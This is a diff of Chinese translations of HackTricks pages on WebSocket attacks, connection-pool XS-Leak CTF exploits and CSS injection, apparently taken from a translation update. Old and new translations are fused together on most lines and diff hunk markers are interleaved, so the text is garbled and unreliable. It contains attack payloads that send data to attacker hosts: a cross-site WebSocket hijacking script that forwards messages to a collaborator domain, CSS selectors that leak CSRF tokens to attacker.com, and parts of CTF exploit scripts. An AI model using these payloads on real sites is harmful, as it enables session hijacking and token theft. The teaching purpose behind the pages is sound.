WebSocket 连接是通过初始的 **HTTP** 握手建立的,并且被设计为**长期存在**,允许在任何时候进行双向消息传递,无需事务系统。这使得 WebSockets 特别适用于需要**低延迟或服务器发起的通信**的应用,比如实时金融数据流。 WebSocket 连接通过初始的 **HTTP** 握手建立,旨在实现 **长时间** 连接,允许随时进行双向消息传递,而无需事务系统。这使得 WebSockets 特别适合需要 **低延迟或服务器发起通信** 的应用程序,例如实时金融数据流。
### 建立 WebSocket 连接 ### WebSocket 连接的建立
有关建立 WebSocket 连接的详细说明,请访问[**此处**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)。简而言之WebSocket 连接通常是通过客户端 JavaScript 发起的,如下所示: 有关建立 WebSocket 连接的详细说明可以访问 [**这里**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)。总之WebSocket 连接通常通过客户端 JavaScript 发起,如下所示:
```javascript ```javascript
var ws = new WebSocket("wss://normal-website.com/ws"); var ws = new WebSocket("wss://normal-website.com/ws");
``` ```
`wss` 协议表示通过 **TLS** 加密的 WebSocket 连接,而 `ws` 表示一个**未加密**的连接。 `wss` 协议表示一个使用 **TLS** 保护的 WebSocket 连接,而 `ws` 表示一个 **不安全的** 连接。
建立连接时,浏览器和服务器之间会通过 HTTP 执行握手。握手过程涉及浏览器发送请求,服务器做出响应,如下例所示: 连接建立期间,浏览器和服务器之间通过 HTTP 进行握手。握手过程涉及浏览器发送请求和服务器响应,如以下示例所示:
浏览器发送握手请求: 浏览器发送握手请求:
```javascript ```javascript
@ -45,56 +46,62 @@ Connection: Upgrade
Upgrade: websocket Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk= Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
``` ```
**WebSocket握手的关键点** 一旦建立连接,消息交换在两个方向上保持开放。
- `Connection`和`Upgrade`头部信号启动WebSocket握手。 **WebSocket 握手的关键点:**
- `Sec-WebSocket-Version`头部指示所需的WebSocket协议版本通常为`13`。
- 在`Sec-WebSocket-Key`头部中发送一个Base64编码的随机值确保每次握手都是独一无二的有助于防止缓存代理出现问题。这个值不是用于身份验证而是用于确认响应不是由配置错误的服务器或缓存生成的。 - `Connection``Upgrade` 头部信号表示 WebSocket 握手的开始。
- 服务器响应中的`Sec-WebSocket-Accept`头部是`Sec-WebSocket-Key`的哈希值验证服务器打算打开WebSocket连接的意图。 - `Sec-WebSocket-Version` 头部指示所需的 WebSocket 协议版本,通常为 `13`
- 在 `Sec-WebSocket-Key` 头部中发送一个 Base64 编码的随机值,确保每个握手都是唯一的,这有助于防止缓存代理的问题。这个值不是用于身份验证,而是为了确认响应不是由配置错误的服务器或缓存生成的。
- 服务器响应中的 `Sec-WebSocket-Accept` 头部是 `Sec-WebSocket-Key` 的哈希,验证服务器打开 WebSocket 连接的意图。
这些特性确保握手过程安全可靠,为高效的实时通信铺平道路。 这些特性确保握手过程安全可靠,为高效的实时通信铺平道路。
### Linux 控制台
您可以使用 `websocat` 与 websocket 建立原始连接。
```bash ```bash
websocat --insecure wss://10.10.10.10:8000 -v websocat --insecure wss://10.10.10.10:8000 -v
``` ```
或者创建一个websocat服务器 或者创建一个 websocat 服务器:
```bash ```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000 websocat -s 0.0.0.0:8000 #Listen in port 8000
``` ```
### 中间人攻击 websocket 连接 ### MitM websocket 连接
如果发现客户端从当前本地网络连接到一个 **HTTP websocket**,你可以尝试进行 [ARP Spoofing 攻击](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) 来在客户端和服务器之间执行中间人攻击。\ 如果发现客户端从当前本地网络连接到 **HTTP websocket**,你可以尝试进行 [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) 来在客户端和服务器之间执行 MitM 攻击。\
一旦客户端尝试连接到你,你可以使用: 一旦客户端尝试连接,你可以使用:
```bash ```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
``` ```
### Websockets枚举 ### Websockets enumeration
您可以使用**工具**[**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS)**自动发现、指纹识别和搜索websockets中已知的**漏洞。 您可以使用 **工具** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **自动发现、指纹识别和搜索已知的** **漏洞** **在 websockets 中。**
### Websocket调试工具 ### Websocket Debug tools
- **Burp Suite**支持MitM方式拦截websockets通信与拦截常规HTTP通信的方式非常相似 * **Burp Suite** 以与常规 HTTP 通信非常相似的方式支持 MitM websockets 通信
- [**socketsleuth**](https://github.com/snyk/socketsleuth)**Burp Suite扩展**将允许您通过获取**历史记录**、设置**拦截规则**、使用**匹配和替换**规则、使用**Intruder**和**AutoRepeater**更好地管理Burp中的Websocket通信。 * [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite 扩展** 将允许您通过获取 **历史记录**、设置 **拦截规则**、使用 **匹配和替换** 规则、使用 **Intruder** **AutoRepeater** 更好地管理 Burp 中的 Websocket 通信。
- [**WSSiP**](https://github.com/nccgroup/wssip)****简称“**WebSocket/Socket.io代理**”这个用Node.js编写的工具提供了一个用户界面用于**捕获、拦截、发送自定义**消息并查看客户端和服务器之间的所有WebSocket和Socket.IO通信。 * [**WSSiP**](https://github.com/nccgroup/wssip)**:** 代表 "**WebSocket/Socket.io Proxy**",这个用 Node.js 编写的工具提供了一个用户界面来 **捕获、拦截、发送自定义** 消息并查看客户端和服务器之间的所有 WebSocket 和 Socket.IO 通信。
- [**wsrepl**](https://github.com/doyensec/wsrepl)是一个专为渗透测试设计的**交互式websocket REPL**。它提供了一个界面,用于观察**传入的websocket消息并发送新消息**,并提供了一个易于使用的框架来**自动化**这种通信。&#x20; * [**wsrepl**](https://github.com/doyensec/wsrepl) 是一个 **交互式 websocket REPL**,专门为渗透测试设计。它提供了一个观察 **传入 websocket 消息和发送新消息** 的接口,并提供了一个易于使用的框架来 **自动化** 这种通信。&#x20;
- [**https://websocketking.com/**](https://websocketking.com/)是一个用于使用**websockets**与其他网站进行通信的**网站** * [**https://websocketking.com/**](https://websocketking.com/) 是一个 **用于与其他网站通信****web**,使用 **websockets**
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket)除了其他类型的通信/协议外,它还提供了一个用于使用**websockets**与其他网站进行通信的**网站** * [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) 在其他类型的通信/协议中,它提供了一个 **用于与其他网站通信****web**,使用 **websockets**
## Websocket实验室 ## Websocket Lab
在[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course)中您可以找到一个使用websockets启动web的代码在[**此文章**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/)中可以找到解释。 [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) 中,您有一个代码来启动一个使用 websockets 的 web在 [**这篇文章**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) 可以找到解释。
## 跨站点WebSocket劫持CSWSH ## Cross-site WebSocket hijacking (CSWSH)
**跨站点WebSocket劫持**,也称为**跨源WebSocket劫持**被确定为影响WebSocket握手的特定**[跨站点请求伪造CSRF](csrf-cross-site-request-forgery.md)**的一种情况。当WebSocket握手仅通过**HTTP cookie**进行身份验证而没有**CSRF令牌**或类似的安全措施时,就会出现此漏洞 **跨站点 WebSocket 劫持**,也称为 **跨源 WebSocket 劫持**,被识别为影响 WebSocket 握手的 **[跨站请求伪造 (CSRF)](csrf-cross-site-request-forgery.md)** 的特定案例。此漏洞发生在 WebSocket 握手仅通过 **HTTP cookies** 进行身份验证,而没有 **CSRF tokens** 或类似的安全措施
攻击者可以利用这一点,托管一个**恶意网页**该网页发起与易受攻击应用程序的跨站WebSocket连接。因此此连接被视为受害者与应用程序会话的一部分利用会话处理机制中缺乏CSRF保护。 攻击者可以通过托管一个 **恶意网页** 来利用这一点,该网页发起与易受攻击应用程序的跨站点 WebSocket 连接。因此,这个连接被视为受害者与应用程序的会话的一部分,利用会话处理机制中缺乏 CSRF 保护。
### 简单攻击 ### Simple Attack
请注意,在**建立****websocket**连接时,**cookie**会**发送**到服务器。**服务器**可能会使用它来**关联**每个**特定**的**用户**与其基于发送cookie的**websocket**会话 请注意,**建立** 一个 **websocket** 连接时,**cookie** 会被 **发送** 到服务器。**服务器** 可能会使用它来 **关联** 每个 **特定** **用户** 与其 **基于发送的 cookie 的 websocket** **会话**
然后,例如,如果**websocket** **服务器**在发送包含“**READY**”消息的情况下返回用户的对话**历史记录**,那么通过**简单的XSS**建立连接(**cookie**将被**自动发送**以授权受害者用户),**发送**“**READY**”将能够**检索**对话的**历史记录** 然后,如果 **例如** **websocket** **服务器** **发送回用户的对话历史**,如果发送了带有 "**READY"** 的消息,那么一个 **简单的 XSS** 建立连接(**cookie** 将 **自动发送** 以授权受害者用户) **发送** "**READY**" 将能够 **检索** 对话的 **历史**
```markup ```markup
<script> <script>
websocket = new WebSocket('wss://your-websocket-URL') websocket = new WebSocket('wss://your-websocket-URL')
@ -109,13 +116,13 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
} }
</script> </script>
``` ```
### 跨域 + 具有不同子域的 Cookie ### 跨源 + 不同子域的 Cookie
在这篇博文[https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/)中,攻击者成功在进行 Websocket 通信的域的**子域**中**执行任意 JavaScript**。由于它是一个**子域****cookie**被**发送**,并且由于**Websocket 没有正确检查来源**,因此可以与其通信并**从中窃取令牌** 在这篇博[https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) 中,攻击者成功地 **在一个子域中执行任意 Javascript**,该子域是进行 Websocket 通信的域名的一部分。因为它是一个 **子域**,所以 **cookie****发送**,而且因为 **Websocket 没有正确检查 Origin**,因此可以与其通信并 **窃取令牌**
### 从用户那里窃取数据 ### 从用户那里窃取数据
复制您想要冒充的 Web 应用程序(例如 .html 文件),并在进行 Websocket 通信的脚本中添加此代码: 复制您想要模仿的 Web 应用程序(例如 .html 文件),并在进行 Websocket 通信的脚本中添加以下代码:
```javascript ```javascript
//This is the script tag to load the websocket hooker //This is the script tag to load the websocket hooker
<script src='wsHook.js'></script> <script src='wsHook.js'></script>
@ -135,41 +142,42 @@ xhttp.send();
return messageEvent; return messageEvent;
} }
``` ```
现在从[https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook)下载`wsHook.js`文件,并**将其保存在包含网页文件的文件夹中**。\ 现在从 [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) 下载 `wsHook.js` 文件,并**将其保存在包含网页文件的文件夹中**。\
暴露网页应用程序并让用户连接到它您将能够通过websocket窃取发送和接收的消息: 通过暴露网络应用程序并使用户连接到它,您将能够窃取通过 websocket 发送和接收的消息:
```javascript ```javascript
sudo python3 -m http.server 80 sudo python3 -m http.server 80
``` ```
## 竞争条件 ## 竞争条件
WebSockets中的竞争条件也是一个问题[查看此信息以了解更多](race-condition.md#rc-in-websockets)。 WebSockets 中的竞争条件也是一个问题,[查看此信息以了解更多](race-condition.md#rc-in-websockets)。
## 其他漏洞 ## 其他漏洞
由于WebSockets是一种将数据发送到服务器端和客户端的机制取决于服务器和客户端如何处理信息WebSockets可以被用来利用其他几种漏洞如XSS、SQLi或使用来自WebSockets的用户输入的任何其他常见Web漏洞。 由于 Web Sockets 是一种**向服务器端和客户端发送数据**的机制,具体取决于服务器和客户端如何处理信息,**Web Sockets 可以被用来利用其他几种漏洞,如 XSS、SQLi 或任何其他常见的网络漏洞,使用来自 websocket 的用户输入。**
## **WebSocket劫持** ## **WebSocket 走私**
这种漏洞可能允许您通过让反向代理认为已建立了WebSocket通信即使事实并非如此来**绕过反向代理的限制**。这可能允许攻击者**访问隐藏的端点**。有关更多信息,请查看以下页面: 此漏洞可能允许您**绕过反向代理限制**,使其相信**已建立 websocket 通信**(即使这不是真的)。这可能允许攻击者**访问隐藏的端点**。有关更多信息,请查看以下页面:
{% content-ref url="h2c-smuggling.md" %} {% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md) [h2c-smuggling.md](h2c-smuggling.md)
{% endcontent-ref %} {% endcontent-ref %}
## 参考资料 ## 参考文献
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages) * [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)上**关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
</details> </details>
{% endhint %}

View file

@ -1,47 +1,48 @@
# 连接池示例 # 连接池示例
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
## Sekaictf2022 - safelist
在[**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution)挑战中,[**@Strellic\_**](https://twitter.com/Strellic\_)提供了一个使用**连接池**技术的**变体**来执行**XS-Leak**的示例。
在这个挑战中目标是窃取一个将出现在机器人Web会话中的标志。攻击者拥有以下资源
* **机器人**将访问攻击者提供的**URL**
* 攻击者可以在页面中**注入HTML**但不能使用JSdompurify已使用利用**CSRF**使**机器人创建一个帖子**带有该HTML。
* 攻击者可以利用CSRF使**机器人删除**Web中的**第一个帖子**。
* 由于**帖子**是按**字母顺序排列**的,当**删除第一个帖子**时,如果攻击者的**HTML**内容被**加载**,这意味着它在**标志之前按字母顺序排列**。
因此,为了窃取标志,@Strellyc\_提出的解决方案是**对于要测试的每个字符**,使机器人:
* 创建一个以已知部分**标志**开头并包含多个**img** **加载**的**新帖子**
* **删除**位置**0**的**帖子**
* 阻止255个套接字。
* 加载带有帖子的页面
* 对一个站点在本例中为example.com执行5个随机请求并测量所需时间。
{% hint style="warning" %}
如果**删除**的帖子是**标志**这意味着所有在HTML中**注入**的**图像**将与**5个随机请求**争夺**未阻塞**的套接字。这意味着测量的时间将大于另一种情况。
如果**删除**的帖子是**HTML**,则**5个随机请求**将更快因为它们不需要与注入的HTML争夺该套接字。
{% endhint %} {% endhint %}
### 攻击1 ## Sekaictf2022 - 白名单
这是攻击代码,取自[https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html): 在 [**Sekaictf2022 - 白名单**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution) 挑战中, [**@Strellic\_**](https://twitter.com/Strellic\_) 给出了如何使用 **连接池** 技术的 **变体** 来执行 **XS-Leak** 的示例。
在这个挑战中,目标是提取一个将在机器人的网络会话中出现在帖子中的标志。这是攻击者拥有的资产:
* **机器人**将 **访问** 攻击者提供的 **URL**
* 攻击者可以在页面中 **注入 HTML**(但不允许 JS使用了 dompurify利用 **CSRF** 使 **机器人创建一个帖子**,其中包含该 HTML。
* 攻击者可以利用 CSRF 使 **机器人** **删除** 网络中的 **第一个** **帖子**
* 由于 **帖子****按字母顺序** 排序的,当 **第一个帖子被删除** 时,如果攻击者的 **HTML** 内容被 **加载**,则意味着它在 **标志之前按字母顺序** 排列。
因此,为了窃取标志,@Strellyc\_ 提出的解决方案是,对于 **每个字符进行测试**,使机器人:
* 创建一个 **新帖子**,该帖子 **以** 已知的 **标志** 部分 **开始**,并加载多个 **img**
* **删除** 位置 **0****帖子**
* 阻塞 255 个套接字。
* 加载包含帖子页面。
* 对一个网站(在此案例中为 example.com执行 5 次随机请求,并测量所需时间。
{% hint style="warning" %}
如果 **删除的** 帖子是 **标志**,这意味着所有 **注入** 在 HTML 中的 **图像** 将与 **5 次随机请求** 为该 **未阻塞** 套接字 **争斗**。这意味着测量的时间将大于其他场景。
如果 **删除的** 帖子是 **HTML**,则 **5 次随机请求** 将会 **更快**,因为它们不需要与注入的 HTML 争夺该套接字。
{% endhint %}
### 利用 1
这是利用代码,取自 [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
```html ```html
<!-- Form to inject HTML code in the bots page --> <!-- Form to inject HTML code in the bots page -->
<form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank"> <form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank">
@ -170,9 +171,9 @@ pwn();
}; };
</script> </script>
``` ```
### 漏洞利用 2 ### Exploit 2
与[https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)中相同的策略,但使用不同的代码。 相同的策略,但代码不同,来自 [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)
```html ```html
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
@ -296,15 +297,15 @@ resolve(isFound)
``` ```
## DiceCTF 2022 - carrot ## DiceCTF 2022 - carrot
在这种情况下,攻击的第一步是利用 CSRF 来修改包含标志的页面,使其具有**更多内容**(因此加载时间更长),然后**滥用连接池来测量访问可能包含标志的页面所需的时间**。 在这个案例中,利用漏洞的第一步是滥用 CSRF 来修改包含标志的页面,使其具有 **更多内容**(因此加载时间更长),然后 **滥用连接池来测量访问可能包含标志的页面所需的时间**
攻击中,您可以看到: 漏洞利用中你可以看到:
* 滥用 CSRF * 滥用 CSRF
* 占用除 1 个之外的所有套接字 * 占用所有套接字但保留 1 个
* 校准响应 * 校准响应
* 通过访问可能包含标志的页面开始暴力破解 * 通过访问可能包含标志的页面开始暴力破解
* 可能的页面将被访问,同时还将访问攻击者控制的 URL以检查这两个请求花费了多少时间。 * 将访问潜在页面,并立即访问攻击者控制的 URL以检查两个请求所需的时间。
```html ```html
<h1>DiceCTF 2022 web/carrot</h1> <h1>DiceCTF 2022 web/carrot</h1>
@ -506,16 +507,17 @@ exploit('dice{')
} }
</script> </script>
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# CSS注入 # CSS 注入
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
**Try Hard Security Group** **努力安全小组**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -22,11 +23,11 @@
*** ***
## CSS注入 ## CSS 注入
### 属性选择器 ### 属性选择器
CSS选择器被设计用来匹配`input`元素的`name`和`value`属性的值。如果输入元素的value属性以特定字符开头加载预定义的外部资源: CSS 选择器被设计用来匹配 `input` 元素的 `name``value` 属性的值。如果输入元素的值属性以特定字符开头,则加载预定义的外部资源:
```css ```css
input[name=csrf][value^=a]{ input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a); background-image: url(https://attacker.com/exfil/a);
@ -39,28 +40,30 @@ input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9); background-image: url(https://attacker.com/exfil/9);
} }
``` ```
然而,当处理隐藏的输入元素(`type="hidden"`)时,这种方法会面临限制,因为隐藏元素不会加载背景。 然而,这种方法在处理隐藏输入元素(`type="hidden"`)时面临限制,因为隐藏元素不加载背景。
#### 针对隐藏元素的绕过方法 #### 绕过隐藏元素的限制
为了规避这种限制,您可以使用`~`通用兄弟选择器来定位后续的兄弟元素。然后CSS规则将应用于隐藏输入元素后面的所有兄弟元素导致背景图片加载: 为了绕过这个限制,您可以使用 `~` 一般兄弟组合器来定位后续兄弟元素。然后CSS 规则适用于所有跟随隐藏输入元素的兄弟元素,从而导致背景图像加载:
```css ```css
input[name=csrf][value^=csrF] ~ * { input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF); background-image: url(https://attacker.com/exfil/csrF);
} }
``` ```
一个利用此技术的实际示例在提供的代码片段中详细说明。您可以在[这里](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)查看。
#### CSS注入的先决条件 #### CSS注入的先决条件
要使CSS注入技术有效必须满足以下条件: 为了使CSS注入技术有效必须满足某些条件:
1. **负载长度**CSS注入向量必须支持足够长的负载,以容纳精心设计的选择器。 1. **有效负载长度**CSS注入向量必须支持足够长的有效负载,以容纳精心制作的选择器。
2. **CSS重新评估**:您应该有框架页面的能力这是触发使用新生成的负载重新评估CSS的必要条件 2. **CSS重新评估**:您应该能够框架页面这对于触发使用新生成的有效负载重新评估CSS是必要的
3. **外部资源**:该技术假能够使用外部托管的图像。这可能会受到网站内容安全策略CSP的限制。 3. **外部资源**:该技术假能够使用外部托管的图像。这可能会受到网站内容安全策略CSP的限制。
### 盲属性选择器 ### 盲属性选择器
正如[**在这篇文章中解释的**](https://portswigger.net/research/blind-css-exfiltration),可以结合选择器**`:has`**和**`:not`**来识别甚至来自盲目元素的内容。当您不知道加载CSS注入的网页中有什么内容时这将非常有用。\ 正如[**在这篇文章中解释的**](https://portswigger.net/research/blind-css-exfiltration),可以结合选择器**`:has`**和**`:not`**来识别盲元素中的内容。这在您不知道加载CSS注入的网页内部内容时非常有用。\
还可以使用这些选择器从同一类型的多个块中提取信息,就像在以下示例中所示 还可以使用这些选择器从多个相同类型的块中提取信息,例如
```html ```html
<style> <style>
html:has(input[name^="m"]):not(input[name="mytoken"]) { html:has(input[name^="m"]):not(input[name="mytoken"]) {
@ -70,34 +73,34 @@ background:url(/m);
